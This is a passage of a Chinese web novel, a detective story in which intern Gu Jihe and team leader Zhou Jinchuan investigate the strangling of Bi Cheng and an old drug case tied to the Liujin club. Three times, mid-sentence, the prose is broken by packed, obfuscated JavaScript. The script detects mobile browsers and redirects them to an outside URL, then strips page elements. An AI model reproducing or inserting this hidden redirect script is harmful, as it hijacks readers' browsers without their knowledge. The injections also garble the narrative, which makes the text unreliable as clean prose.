顾霁禾脸色骤变,不管不顾地追问:“你确定?庞伟的不在场证明成立?” 周烬川往后一靠,愣是把仰视的目光缀上几分居高临下的味道,淡定地说:“毕成被害的时候,庞伟和他的同学在一起吃夜宵,除非你有说服我去调查店里的监控有可能被伪造的理由。” “不可能......”顾霁禾低声说。 “你为什么这么肯定勒死毕成的人就是庞伟?”周烬川从抽屉里拿出一本实习报告,起身走向顾霁禾,“还是你只是单纯想把这个罪名安在庞伟身上?你认识他吗?” 顾霁禾下意识后退,只是没几步就贴到墙根。她一咬牙,抬头迎上那张冷脸,故作镇定道:“我只是根据凶手的手法进行推测。受害人被勒死,说明凶手对于他来说,一定是一个敢把后背交给他的人。” 这个理由似乎让那张脸的温度上升了一点。 “回去把报告写好,实习期暂定一年,以后每天都要写。”周烬川的手顿在半空,“拿着。” “哦。”顾霁禾松了口气连忙接过,“那我今天是不是可以下班了?” 周烬川面无表情地看着她,接着问:“谢大通呢?对于杀害他的凶手,你又有什么想法?” 顾霁禾简直想扇自己一巴掌,在眼前这个压得她不敢喘大气的阴影下,她愣是逼自己把知道的所有信息串成一条线,没头没尾地说:“如果16号晚上来找毕成的人真的是谢大通,也许是第三个人授意他的,毕竟毕成手里有归识,一旦这个消息泄露,他就会成为很多人的目标。” “可那个时候谢大通没有得手,或者,他不想再做违法的事了,他今天下午来警局,或许是想举报,或许是想求救,又或许......是想自首。只可惜不知道出于什么原因他没进来,反而被第三个人发现灭口了。” 她也不知道这个临时编出来的推测能不能过关。 “明天八点,不要迟到。”周烬川转过身。 “好。” 顾霁禾一步不停冲出特侦部,说是落荒而逃都不为过,只来得及留给宋林汐和沈峋一个模糊的背影。 “林汐,霁禾她没事吧?” 宋林汐正忙着录入谢大通的资料,头也不抬地回了句:“没事,下班不积极才有问题。” 沈峋一时无言以对,拿着法医报告敲进周烬川办公室:“谢大通体内检测出了麻醉剂。” 8. 我是凶手(七) “目前来看,谢大通的死因确实符合许法医的推测。”沈峋一脸严肃道,“从案发现场的状况以及谢大通的身高体型来看,他勒死毕成的可能性不大。所以凶手先勒死毕成,然后嫁祸给谢大通,最后伪造成畏罪自杀。” 周烬川不置可否。 “对了,刚刚查到,澜州科技大学上个月举办过义务献血活动,庞伟参加过,要不要……” “做。”周烬川把视线从电脑屏幕上移开,“他本人很有可能在后来的某个瞬间意识到自己并非庞冬凌的亲生儿子,所以在他的潜意识里,这只是一个没有根据的猜测。” “好,我这就去安排。” 车门一关,顾霁禾长舒一口气。 “怎么了?”陈渡一脸担忧地看着她,“刚刚那个是你上级?” 顾霁禾应了一声。 “长得倒是不错……不会人面兽心吧?” 顾霁禾扭过头看着陈渡,浅浅牵出一丝笑:“那倒不至于,就是相处起来不太舒服。” 她自以为这个人设塑造得很成功,外冷内更冷的顶级魅魔,没想到真人竟自带磁场,反正她有点害怕式抵触。 “那简单,我去帮你和导师说一声,这个破实习咱们不干也罢!”陈渡从储物格里拿出全新的手机,“给你的奖励。” 热泪很不争气地涌了上来,倒不是顾霁禾有多在乎这个手机,而是庆幸在这个世界,她依然有一个能全身心倚靠的人。 “你没事吧?”陈渡被她的样子吓了一跳,“别哭啊,真折磨人咱们不干就好了,没必要……” 话没说完,顾霁禾就一股脑靠到她肩膀上,温暖的、熟悉的感觉让她十分心安。 “怎么回事啊?还需要我哄吗?”陈渡虽然嘴上这么说着,手却十分实诚地从冰柜里拿出一盒草莓牛奶,“给!喝完就不许不开心了。” 顾霁禾笑了笑,余光瞥到和在真实世界里一模一样的草莓牛奶时怔了一下。 敢情这里真的是真假参半?还是有关陈渡的一切才是真实的?那现实世界的陈渡还在吗? “陈渡,你……”顾霁禾恨自己这张笨嘴怎么也开不了口,最后只问出一句莫名其妙的话,“你最近还好吗?” 然后就得到了陈渡满脸的大问号:“你不会被吓傻了吧?我现在给你挂个精神科?” “不用不用!”顾霁禾连忙拿起牛奶喝了一口,“我就是不太适应,过几天就好了。” 陈渡皱眉:“你确定能坚持下去?” 这倒不是重点,重点是她得想办法回去。 “能。”顾霁禾咬着吸管,“这算什么?还有我应付不了的人?” 或许是终于看到她的本性回归,陈渡松了松拧成一股绳的眉毛,挂挡发车:“那就送你回家了,我回去还得看文献呢!唉,你什么时候能帮我把我那篇狗屁不通的论文混进导师的法眼啊?” “嗯?”顾霁禾手一紧,牛奶差点飙出来,她一个激灵松开,还是有几滴溅到了衣服上。 趁陈渡没发现,她慌忙拍了拍,假装无事发生,继而困惑地问:“你在写论文,那我呢?” 陈渡开车的时候始终目不转睛看着前方,但听到这句话还是忍不住斜了她一眼:“不用这样打击我吧?你的初稿不是已经过了吗?” 顾霁禾发懵地眨了眨眼睛。难道她只是顺位平移? 很快她就迷迷糊糊地被带进一个小区,借着灯光,她一时恍惚了—— 这不就是她现实中住的地方吗?那她的原稿肯定还在电脑上,她可得好好看看到底是哪里出了问题! “下班接送服务可是随机的哦!”陈渡停好车,冲顾霁禾一笑,“明天晚上我爸要带我去个聚会,接不了你了,你自己回吧。” “好,你路上小心。”顾霁禾推门下车,目送陈渡开出小区,三步并两步冲进公寓楼,焦灼地等着电梯从一楼上到十一楼后,她终于回到了熟悉的家门口。 密码应该没变吧? “滴——”,房门应声打开,她半个身子刚探进去就听见屋内传来女声:“回来了,怎么这么晚啊?快洗手吃饭!” 那个声音,熟悉得有些陌生,以至于顾霁禾觉得自己又产生了幻觉。她拍了拍脑门让自己清醒,然后打开鞋柜。 家里只有她一个人住,所以她的鞋从来都是不分季节地胡乱塞着,然而现在不仅分门别类,还多了几双她从未见过的女鞋…… 她的心猛地一顿,生理性警觉令她握住门边的遮阳伞,没挪几步,那道女声再度响起:“今天有你最喜欢吃的糖醋排骨,我特意少放了点糖,你尝尝看还好不好吃。” 那个在她记忆力氤氲了十三年的味道,此刻却仿佛真真切切绕在她身边。她握着伞柄的指尖悄然颤了颤,但下一秒又猛地发力,冲进客厅的瞬间,她和那张面孔再度相逢—— 那张在梦中都很少看见的面孔,却在她心底描摹了千万遍。 “咚——”,遮阳伞从她手中滑落。 温茹脸色一变,连忙放下菜碗走到顾霁禾身边,急道:“怎么了?” 毫无征兆的,顾霁禾扑进她怀里,令她这位昨天还被女儿嫌弃不要拥抱的老母亲心口一颤。 温茹的手无措地顿在半空,好一会才反应过来轻轻覆在顾霁禾的背上。 母女俩都没说话,这个沉默的拥抱持续了将近一分钟,温茹发觉女儿的身体在微微颤抖。 “这得受了多大委屈啊?”温茹心想,把怀里的宝贝抱得更紧了。 温暖的、真切的,甚至连妈妈身上的油烟味都是熟悉的,顾霁禾舍不得放手,一时之间,万般牛鬼蛇神魂牵梦绕都化作点点猩红,从她眼底悄无声息地漫了出来。 十三年了,她又是有妈妈的小孩了。 “乖宝。”温茹轻轻拍着她的背,“受啥委屈啦?别怕,有妈在,和妈说,妈去帮你搞定!” “没有……”顾霁禾嗫嚅,“妈,我好想你,我真的好想你……” 温茹展颜:“好,十三个小时没见了,我也想你了。” 顾霁禾心头一紧,眼眸一抬正好瞥见墙上的钟,已经快九点了,她是今天早上去市局报道的。所以在这个世界里,她一直都和妈妈生活在一起? 顾霁禾缓缓松开,偏头抹掉眼泪,撒娇似的唤了声:“妈,我饿了。” 温茹笑着点了点她衣服上的牛奶渍:“知道饿还不早点回来吃饭?又空腹喝牛奶了?医生的话你是一点都不听啊!” 此刻的絮叨,顾霁禾听得格外舒坦。 反倒是温茹有点不自在,这还是她那个说一怼三的女儿吗? “快去洗手吃饭,菜都要凉了。” 顾霁禾十分乖巧地应了一声,快步走进卫生间。 难道这就是穿书带来的奖励吗?如果是这样,她倒是真的不想回去了。 饭桌上摆着她曾经最爱吃的菜,可她却不敢下筷。 温茹忙不迭给她的饭碗夹满后才注意到她的脸色:“怎么了?没胃口吗?” “不是。”顾霁禾连忙挤出一个微笑,“菜太多了,不知道先吃什么。” “嗐,你这孩子,这有啥好纠结的?”温茹用筷子点了点,“吃排骨,快跟妈说说还有哪里要改进。” 顾霁禾愣了一下,目光顿在排骨上,许久才捏着筷子小心翼翼夹到嘴边,记忆里的味道冲破时间枷锁,冲破她自缚的牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545243|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼,裹住味蕾,淌进身体的每一个细胞。 “好吃。”她低声说,又抬起头迎着温茹殷切的眼神,高声说了一句,“完美!” 温茹笑了,笑容熔在顾霁禾眼中。 这顿晚饭,是顾霁禾这么多年来吃得最正常的一顿。 饭后,温茹对这个四体不勤五谷不分的女儿硬黏在她身边帮着洗碗的举动感到万分古怪,好几个瞬间都严重怀疑她是在单位受了什么刺激,不过既然女儿自己不提,她也就没问。 “好了好了,剩下的我来。”温茹抢过碗刷,“你赶紧去洗澡,我怎么闻着有股怪味呢?” 嗯……不出意外的话应该是血腥味。 “那我先去洗澡,洗得香香的再来陪你。”顾霁禾又腻歪了好一会才依依不舍地走进浴室。 唉,这女儿怎么越养越小了? 温热水汽让顾霁禾本就有点迷糊的大脑更加抵制思考了,全身心都沉浸在幻梦一般的美好中,直到指尖抚过手腕上的疤痕—— 她不属于这里,她很清楚。 可是那又怎样? 如今真实世界于她而言就是个冰冷的牢笼,毫无温度,毫无牵挂,毫无盼头,不如在这里,清醒地沉沦下去。 不清醒也可以。 下定决心后,她竟莫名觉得手腕上的疤痕都不丑陋了。 从浴室出来,她没吹头发,裹着干发帽往厨房走去。 温茹正背对着门口,手上握着一把西瓜刀。 刀锋出现的刹那,顾霁禾的眼前瞬间炸开鲜红,紧接着是温茹乞求的眼神…… “妈!”她猛地冲上前,差点要徒手握住刀尖,然而刀刃却先一步陷进西瓜中。 温茹一手握着刀柄,一手扶着西瓜,不解地看着冲进来的女儿:“咋不吹头发呢?快去吹干,一会又要头疼了。” 直到西瓜被一分为二,顾霁禾才缓过神:“妈,我来切!” 温茹看着女儿拿走西瓜刀,又被她推着走出厨房,怀疑道:“你会切吗?小心手啊!” “我会,你放心吧。” 直到卫生间传来水声,顾霁禾淬了冰的眼神才从那把沾着汁水的刀上移开。 半个小时后,温茹从浴室出来,看到客厅的桌子上放着半个西瓜和一个小勺。她刚扬起嘴角,顾霁禾就开门走了进来。 “你出去干啥呀?” “扔垃圾。”顾霁禾换好拖鞋,挽着温茹在沙发上坐下,“妈,以后别买西瓜了,我不爱吃,你要是想吃就买那种切好的。” “嗯?你不是很爱吃吗?”温茹瞥了一眼完好无损的半个瓜,笑着看向女儿,“是不是另外半个惹到你了?” 顾霁禾一时愣住。 “没事,那咱以后不吃了。”温茹捧起西瓜,“不过这半个……” “吃!”顾霁禾笑着拿起小勺,忽地想起了什么试探性开口,“妈,我爸呢?” 温茹神色微变,捧着西瓜的指尖轻微发紧:“想你爸了?正好他生日快到了,要不我们……” “不要!”顾霁禾猛地打断,“我不想。” 温茹看着埋头的顾霁禾,柔声说:“傻孩子,你爸也没错。” 顾霁禾默不作声。 “好吧,不说她了。”温茹接过小勺喂到她嘴边,“吃点赶紧去睡觉,明天还得上班呢!” 顾霁禾这才发觉已经快十二点了,明天还要在八点前赶到市局,于是胡乱塞了一口就窜回房间,走之前还不忘给温茹一个晚安的拥抱。 电脑里没有原稿,床头柜里没有安眠药,房间很整洁,衣柜里挂着各种颜色的衣服,连化妆品都是齐全的。 “真好。”她想。 9. 我是凶手(八) 毫不意外的,顾霁禾失眠了。她这个常年得靠安眠药才能入睡的人,又被迫欣赏了日出。不过澜州市的日出真的很美,比真实世界的美多了。 六点刚过,隔壁卧室传来响动,顾霁禾知道是温茹起床了,于是换好衣服走出房间。 温茹十分惊讶,她都已经做好了踩点把女儿从床上拽起来的准备,怎么这个点人就自己起来了? 毕竟通宵了一个晚上,顾霁禾的气色实在说不上好,不过好在她是天赋型选手,除了脸色有点苍白,倒是没有明显的黑眼圈。 “妈,早饭吃啥呀?” 温茹这才回过神走向厨房:“红枣莲子粥和小笼包,你要想吃别的自己下楼去买啊。” “不想,我就爱吃妈妈做的!” “怎么上个班都学会花言巧语了?赶紧把自己的脏衣服扔洗衣机里,洗漱完先喝杯温水啊。” 顾霁禾走进卫生间,把自己和温茹的衣服都拜托给洗衣机师傅,然后利落地洗漱完,倒上两杯温水走进厨房。 她不会做饭,以前没人教,后来也懒得学,一个人生活吃什么都可以,不吃也可以,所以医生不止一次给她的肠胃下过病危通知书。 早餐对于她来说真的是很遥远的东西了。 “妈,你什么时候去上班呀?”顾霁禾并不清楚温茹现在的状况。 “我公司那么近,电瓶车十分钟就够了。”温茹把泡好的莲子倒进锅里,“倒是你啊,今年可一定得把驾照考出来。” 一模一样的话陈渡也说过。 她不是不想考,只是身体不一定允许。 顾霁禾凑到温茹身边:“好,我努力。” 等她美美吃完早饭,晾完衣服,还和温茹聊了很多令她觉得有些无厘头的事,时间已经逼近八点。 “遭了!”顾霁禾手忙脚乱收拾一通,发现实在没什么好带去上班的,抓起手机冲出家门,其间还不忘和温茹撒娇晚上还想吃糖醋排骨。 顾霁禾在小区门口随意拦了辆出租车:“师傅,去市公安局!” 司机师傅听到这个目的地着实吓了一跳:“小姑娘,一大早的出啥事了?” “不是,我……我是去工作。” 司机师傅“哦”了一声,有点不可置信,心里头琢磨着现在捧着铁饭碗的都那么年轻吗? “师傅,麻烦你开快一点!” “快不了。”司机师傅无奈的眼神通过后视镜投给顾霁禾,“正好赶上早高峰,没个把小时到不了。” “个把小时?”顾霁禾一惊。 这下完了。昨天的口不择言还没过去,今天更是要掀了周烬川的底线。 顾霁禾眼睁睁看着手机上的时间跳到八点整,车却还安安分分地排着队,干脆眼睛一闭破罐子破摔了。 当年和谢大通一道抓获的人里有人称他确实有个老乡,两人来到澜州后有过很长一段时间的相互扶持,不过对于毕成这个名字却极为陌生。 “相互扶持……”沈峋饶有趣味地品着这个词,“希望不是什么违法的勾当。” “这个希望落空的可能性很大。”周烬川毫不留情戳穿,“去信息库查查,要是查不到,毕成这个名字十有八九是假的。” “嗯。现在除了尚未确定和他有父子关系的庞伟,被拘着的牌友肖明海,以及一个被害的老乡谢大通……”沈峋细数一遍,“真的找不到其他利害人了。” “如果毕成曾经接触过什么不正经的行当,那他的利害关系就复杂了。”周烬川说着走回特侦部,四下扫一眼后发现少了一个人,眉头瞬间蹙起,“那个新来的呢?还没来?” 扎在信息堆里的宋林汐听到后立马抬起头,一看已经九点多了,连忙拿起手机准备打电话。然而顾霁禾登记的电话号码是她已经报废的旧手机的,所以压根打不通。 沈峋明显感受到周烬川的脸色沉了下来,正想帮着解释几句,身后突然传来急促的脚步声。 “对不起周队,我迟到了。” 空气瞬间凝固,顾霁禾站在门口进退两难。她本来以为再怎么样也不会倒霉到刚好撞见周烬川吧?没想到就是这么倒霉。 “我昨天怎么说的?”周烬川转过身冷冷看着她。 “对不起,路上太堵了。” “任何迟到的理由在我这里都不成立。”周烬川面无表情地说,“一千字检查,下班前给我。” 没等顾霁禾反应过来,他已经走进办公室。 沈峋连忙上前安慰,顾霁禾倒是松了口气,这个结果也还算正常。 她刚准备回工位动笔,许清宴送来报告:“庞伟确实是毕成的亲生儿子。” “去找他母亲聊聊。”周烬川似乎有顺风耳,非常合时宜地走出办公室,“顾霁禾,你跟我去。” 尽管她心里万般不愿意,却怎么也憋不出一个合适的理由,只好默默跟在他身后。 这次周烬川没有选择开警务车,顾霁禾下意识拉开后座门,不料他来了句:“坐前面。” “周队,这不太合适吧?”这么多年,她也只坐过陈渡的副驾。 周烬川不容拒绝地关上后座门,拉开副驾:“你坐后面会显得我是个司机。” 顾霁禾:“……” 这么冷的理由也只有他能说得出口。 周烬川开车的时候整个人都很放松,修长的手指轻轻搭在方向盘上,就连眉宇间也透着一股漫不经心。 “庞伟的母亲潘如萱,高中辍学来澜州打拼,在夜总会工作过很长一段时间,也是在那里认识了庞冬凌。” 这些信息顾霁禾自然心知肚明,她还知道毕成先庞冬凌一步和潘如萱有了夫妻之实,不过那个家伙不想负责任,完事以后就逃之夭夭了。 “现在看来,潘如萱很有可能在那之前就和毕成认识了。”周烬川减缓车速摇下车窗,向小区保安出示了工作证,车子精准地停在A区B栋一单元门口。 可既然庞伟有不在场证明,那...... 顾霁禾扭头看着他:“周队,你不会怀疑是情杀吧?” 周烬川解开安全带,不带任何语气地反问:“我不该这么怀疑吗?” “倒也没错。”顾霁禾喃喃。 庞冬凌在公司上班,两人按响门铃的时候,潘如萱刚把客厅的地拖干净。看到证件后她着实吓了一跳,请他们进来的工夫已经在脑子里想了无数遍自己有没有做违法乱纪的事,最后的答案是没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545244|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潘如萱给人的感觉是一个踏实勤劳的妇女形象,虽然是个全职家庭主妇,但言谈举止间尽显大方从容,想来是在家里得到了足够的尊重。 “我们就不绕圈子了。”周烬川开门见山地拿出亲子鉴定,上来就给了这位无辜的女性一个下马威,“庞伟,不是你现任丈夫的亲生儿子吧?” 这话简直就是晴天霹雳,毫无征兆打在潘如萱身上。 “这么直接吗?”顾霁禾心想。 潘如萱听得一愣,眼神飘到亲子鉴定上,又闪转腾挪般移开,仿佛触碰到了无形的刀刃。 对于一个有着幸福家庭,老公尊重,儿子出息,只需享受着备好一日三餐、过好一年四季的知足常乐的女人来说,周烬川的做法不亚于是惨绝人寰的。至少从目前的情况看,他已经剥夺了潘如萱正常说话的能力。 周烬川向顾霁禾递了个眼色。 “不是吧?你自己丢了个雷还要我收尾?”顾霁禾在心里念叨着,不可思议地看着他。 然而她只得到周烬川一句不冷不热的询问:“潘女士,方便我随便看看吗?” 几乎是出于人类最顶级的高质量礼貌性回应,潘如萱竟然破天荒地从震惊的外壳里挣脱出来,向周烬川点了点头。 然后他就毫不留情地把这个战场甩给了顾霁禾。 “潘女士。”顾霁禾尽量放缓语气,找了个听上去不至于让她二度噤声的切入点,“您先别慌,这件事暂时还没有人知道。” 确认潘如萱没有崩溃趋势后,顾霁禾接着说:“我们这次过来,主要是针对一起凶杀案。” 那三个字一落,潘如萱的脸色倏地变了,似乎比起刚才更加错愣。 “凶杀案?”她满脸惊恐地凝着顾霁禾,“什么意思?这……这和阿伟有关?” “24号晚上......”顾霁禾的语气恢复严肃,“庞伟的亲生父亲毕成,被人杀死在了他的出租屋里。” 潘如萱一时怔住。 当年她确实和一个男人度过了一个美好的夜晚,直到现在,她甚至不知道他的名字。那个曾经和她有过一夜情后就销声匿迹的男人,怎么会突然以这种奇葩的方式缠了上来? “不好意思,我有点不懂。”许久,潘如萱调整语气,“这件事和我们有什么关系?” 这个问题倒是把顾霁禾问住了,她总不能直接挑明怀疑庞冬凌发现自己被戴了那么多年绿帽子后泄愤杀人吧? “你不会怀疑是我们干的吧?”潘如萱紧紧盯着顾霁禾,下决心般说,“是,阿伟确实是我和另一个男人的儿子,可这件事冬凌根本就不知道!连我都不知道那个男人是谁。那晚之后我就再也没有见过他了!真的。” 顾霁禾不经意扫了一眼桌上的茶具,问:“您平常也喜欢喝茶吗?” “在家没事干,喝茶看书,打发时间。”潘如萱仿佛放松了一点,起身给顾霁禾倒上一杯红茶。 要把这么大个房子打理得一尘不染,潘如萱的工作可一点也不轻松。 “我......我能问一下,他是怎么死的吗?” 顾霁禾欣赏着她眼神里淡淡的忧伤,几秒后话锋一转避开她的问题:“24号晚上,您和您丈夫在哪里?” 10. 我是凶手(九) 潘如萱再度绷紧神经,报表似的精准说出了她是几点出门买菜,几点回到家做饭,她老公几点下班到家,他们几点吃饭、几点上床睡觉...... 顾霁禾的笔尖飞快划过,没等她问出心里的疑惑,潘如萱径自解释:“我老公有点精神洁癖,什么时间做什么事一定要精确到分秒。” 这样的人活着也太累了吧?顾霁禾不理解但尊重,转而严肃抬头:“您还记得和毕成是在哪里认识的吗?” 潘如萱想装哑巴,可桌上的亲子鉴定生生刺痛了她,最后以暂时性保守秘密为交换说出了那个尘封在她脑海里多年的地名。 “鎏金?”顾霁禾不可思议地重复了一遍。 此刻在卧室里的周烬川听到这个地名也愣了一下。 “是......”潘如萱小心翼翼开口,“我和冬凌也是在那里认识的,就是那天后不久,后来我就跟他结婚了。” “毕成在那个地方做什么?”周烬川不知道什么时候走了出来,一脸凝重地盯着潘如萱。 “我不知道,他当时喝醉了,我们......我们真的是意外。”潘如萱眼眶泛红,“我求求你们,他人都已经死了,你们放过我好不好?我只想和冬凌还有阿伟好好过日子......” “你在那里看见过什么?”周烬川仿佛没听见继续逼问。 潘如萱再也无法保持冷静,惊恐和慌张顺着眼泪落下来,呼吸逐渐变得急促。 顾霁禾觉得此时应该做点什么缓和一下气氛,然而她又突然想到什么似的拿出手机:“您看一下,当时的他是长这个样子吗?” 潘如萱用尽力气抬起头,看到照片的瞬间脸色骤变。那根本不是他当年的模样,如今的庞伟,和当年的毕成简直一模一样,每次看到儿子的脸,她都能想起那个男人...... 紧张中的兴奋,惊恐中的欣喜。可是只要他不出现,就没有人知道这个秘密。 但他偏偏出现了,还是以死人的身份。 眼见着也问不出什么别的信息,周烬川和顾霁禾只好道别离开。这个高档小区和毕成住的地方可不一样,监控设备齐全,随便一查就能核实潘如萱和庞冬凌的不在场证明。 毁容?一上车顾霁禾就开始重新整理思路,不知道为什么,在家里翻来覆去躺了一夜后,她对于原稿的记忆又模糊了不少。 而此刻的周烬川,全然沉浸在当年的鎏金案,准确来说是周峥在鎏金发现疑似新型药物交易并进行调查后不久就死于非命,至今无法告破的沉痛中。 他没有开车,顾霁禾也没有催他开车。 直到沈峋打来电话:“刚刚卓诚那边又问出点信息。” 沈峋似乎在边快走边打电话,气息有些不稳:“毕成和谢大通,曾经给同一个人供过货。那些人一开始没反应过来,是因为毕成在他们印象里的名字叫毕千峰,后来不知道为什么突然就不干了。” “突然就不干了?”周烬川重复道。 “对,他们当时以为他被抓住了,还担惊受怕了好一阵。后来是听谢大通无意间说出来的,也没说理由。” “给谁供货?供的什么货?”周烬川问。 “有关买家的信息死活问不出来,他们可能真的不知道。但是货......”沈峋说到这里停顿了一下,“有个人提到好像是个新东西。” 顾霁禾听不到电话里说了什么,但是她眼睁睁看着周烬川的下颌线绷成冷硬的线条,看着他手背上渐渐凸起青筋—— “周队!” 顾霁禾突如其来的一声高喊令他一颤,也让电话那头的沈峋愣了一下:“我再去找他问问。” 电话挂断,周烬川瞬间恢复往日的冷静。沉默一阵后,他不动声色地开口:“你知道鎏金案?” “知道。”顾霁禾平静地说,“二十五年前,澜州市刑侦支队长周峥在追查一起聚众赌博杀人案的时候锁定了鎏金,并且在那里发现了疑似新型药物交易的痕迹,也就是后来的归识。” “只是在那之后不久,周峥遇害,凶手至今没有找到。而两年后,他的妻子苏蔓婷,以同样的手法死在了回家的路上......” 说到这里,顾霁禾扭头看着周烬川:“那一年,你九岁。” 周烬川听完后脸上没有什么情绪波动,反而语气里带着几分锐利:“你倒是很清楚。那一年,你出生了吗?”说完他转过身迎上她的眼神。 顾霁禾的心脏跳得厉害,后背渐渐渗出冷汗。 “我……我的导师对那件案子一直放不下,所以我很清楚。”顾霁禾看着他的眼睛,“而且那里是归识事件的源头,特侦队的每一个人都应该心知肚明。” “对吧?师兄。” 周烬川的眉头松动了一下,回过身开车。 顾霁禾在心里松了口气。可杀害周烬川父母的凶手是谁?她不记得了! 历经整整两个小时的唇舌之争后,宋林汐才送走王明艳的父母,扯着快冒烟的嗓子遛进法医实验室。 在她看来,许清宴的法医实验室是整个特侦部最安静的地方,毕竟基本上只有她一个活人。 宋林汐径自从冰箱里拿了瓶矿泉水:“许姐姐,我在你这缓会。” “这个水和人体组织有过亲密接触。”许清宴正忙着复检谢大通的尸体,头也不抬地说,“不介意?” 宋林汐一口气猛灌小半瓶,意犹未尽般抹掉嘴角的水渍:“我更介意我的嗓子罢工。” 许清宴轻微一笑:“去审谁了?” “不是审讯。”宋林汐叹了口气,“苏氏兄弟抢劫案,苏刚至今下落不明,虽然苏强认了罪,可从现有证据来看,苏刚在其中的成分实在不好下定论。人抓不到,案子结不了,受害人家属始终堵着口气……” 许清宴动作一顿。 王明艳的尸体前两天刚被领走,这个还没有成家的姑娘,本来是个普普通通的勤劳打工人,只是恰巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545245|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一天加班到深夜,恰巧太过疲惫想抄个近路。 “单从伤口上来看,确实没有办法推断是谁动的手。”许清宴回忆道,“毕竟苏强和苏刚在身高体型上没有多大差别,周队提出的猜测也只是基于对抢劫惯犯的异常行为感知而已。” “可我觉得很有道理啊。”宋林汐捏着矿泉水瓶,“连被扯坏的皮包上都只有死者本人的指纹,怎么偏偏凶器上就清清楚楚地印着苏强的指纹呢?兄弟俩一起犯案,过失杀人,下意识的反应也应该是一起跑才对吧?” 咚咚咚—— “请进。”许清宴说。 沈峋探进半个头:“我就不进去了,林汐,跟我走一趟。” 宋林汐瞬间恢复严肃,脚步一抬冲出实验室,追上沈峋的背影。 沈峋边走边说:“卓诚那边又抓来两个人,上个月跑掉的漏网之鱼,其中一个以前还在鎏金卖过货。” 宋林汐心里一咯噔:“归识第一次出现的那个鎏金?” “对。”沈峋越走越快,一米二的长腿刮过劲风,宋林汐得大步快走才能勉强跟上,“而刚刚烬川告诉我,毕千峰也曾在鎏金出现过。” 宋林汐马上反应过来,毕千峰和当年的鎏金案也有关系,而他手里的那瓶归识,很有可能就是那个时候其他人口中的新东西。 周烬川第三次打开毕千峰家门,搜查人员已经差不多把这个地方掏空了,这一趟很大程度上只是想碰碰运气,以及教教某个人进入第一现场后到底该做什么。 “毕千峰明面上的利害关系人恐怕就到此为止了。”周烬川说。 确认完庞冬凌的不在场证明后,基本上排除了他们夫妻俩作案的可能。至于毕千峰脸上的伤疤,当时他们确实忽略了这一点。 一个人想要销声匿迹,最好的方式就是先毁了自己的脸,然后隐姓埋名,尽量避免和外界产生一切联系。 可惜毕成躲过了邻居,却没躲过莫名上门,后来还把他当牌友的肖明海。也许是真的躲倦了。结果人一出现就引来了杀身之祸。 顾霁禾戴着手套,扶着茶几边缘摩挲一圈,头也不抬地说:“周队,昨天晚上回去后我又想了一下,勒死这个杀人手法倒还有另一种解释——” “享受。”顾霁禾指尖一顿,起身看着周烬川,“凶手出于某种原因,享受一个人挣扎反抗,最后失去所有力气的过程。” “是吗?”周烬川若有所思地看着她,“出于什么原因?” “那就得去问凶手了。”顾霁禾漫不经心地说,“可能他对毕千峰是纯恨,可能他......单纯喜欢这样杀人。” 周烬川脸色一凝,下一秒绕到毕千峰倒下的位置,眼神扫过茶几,忽然嘴角轻咧:“你刚刚说凶手享受他挣扎反抗,那如果他的挣扎反而让凶手措手不及呢?” 没等顾霁禾反应过来,周烬川已经拨通许清宴的电话:“许法医,麻烦立刻来毕千峰家里,我需要你做鲁米诺。” 11. 我是凶手(十) 看着地板上零星的蓝色光斑,消失的茶杯终于有了解释。毕千峰在被勒住脖子的时候拼尽全力拿起茶杯砸向凶手,虽然这濒死的反抗没有起作用,却让凶手的血迹残留了下来。 “能顺手拿到茶杯?”顾霁禾不可思议地弯下腰,只有这个高度才是合理的,“他当时不会是想给身后的人倒茶吧?” 许清宴:“人一旦被勒住脖子,大部分情况下都会绷直身体后仰挣扎,我想最好的解释就是他当时手里就拿着茶杯。不过他那个时候已经喝了含阿托品的茶,身体应该出现不适了。” 许清宴说完就回去做样本比对了,房间里再次剩下周烬川和顾霁禾两人。 “倒茶,勒死,我们始终游走在毕千峰的熟人圈里,可你别忘了,你去询问潘如萱的时候也得到了第一个待遇。” 顾霁禾倏地一愣:“周队,你不会是想说......凶手假扮警察吧?” “我只是举个例子让你明白,杀人手法、作案工具,甚至是现场都可以伪造。”周烬川缓缓走到她面前,深邃的眼神逐渐变得意味深长。 “哪怕你在现场发现了大量血迹被清理过的痕迹,也有可能是凶手故意引导我们认为这就是案发现场,从而利用完美的不在场证明隐藏自己。” 顾霁禾揣摩着这句话,试探性开口:“所以师兄是认为,凶手很有可能根本就不认识毕成......毕千峰?那他有什么理由给他开门呢?” 如果毕千峰真的是一个“躲债”的人,警惕性绝对很高,而且大半夜听到敲门声,正常人都会多个心眼。 “如果凶手,也是毕千峰想杀的人呢?” 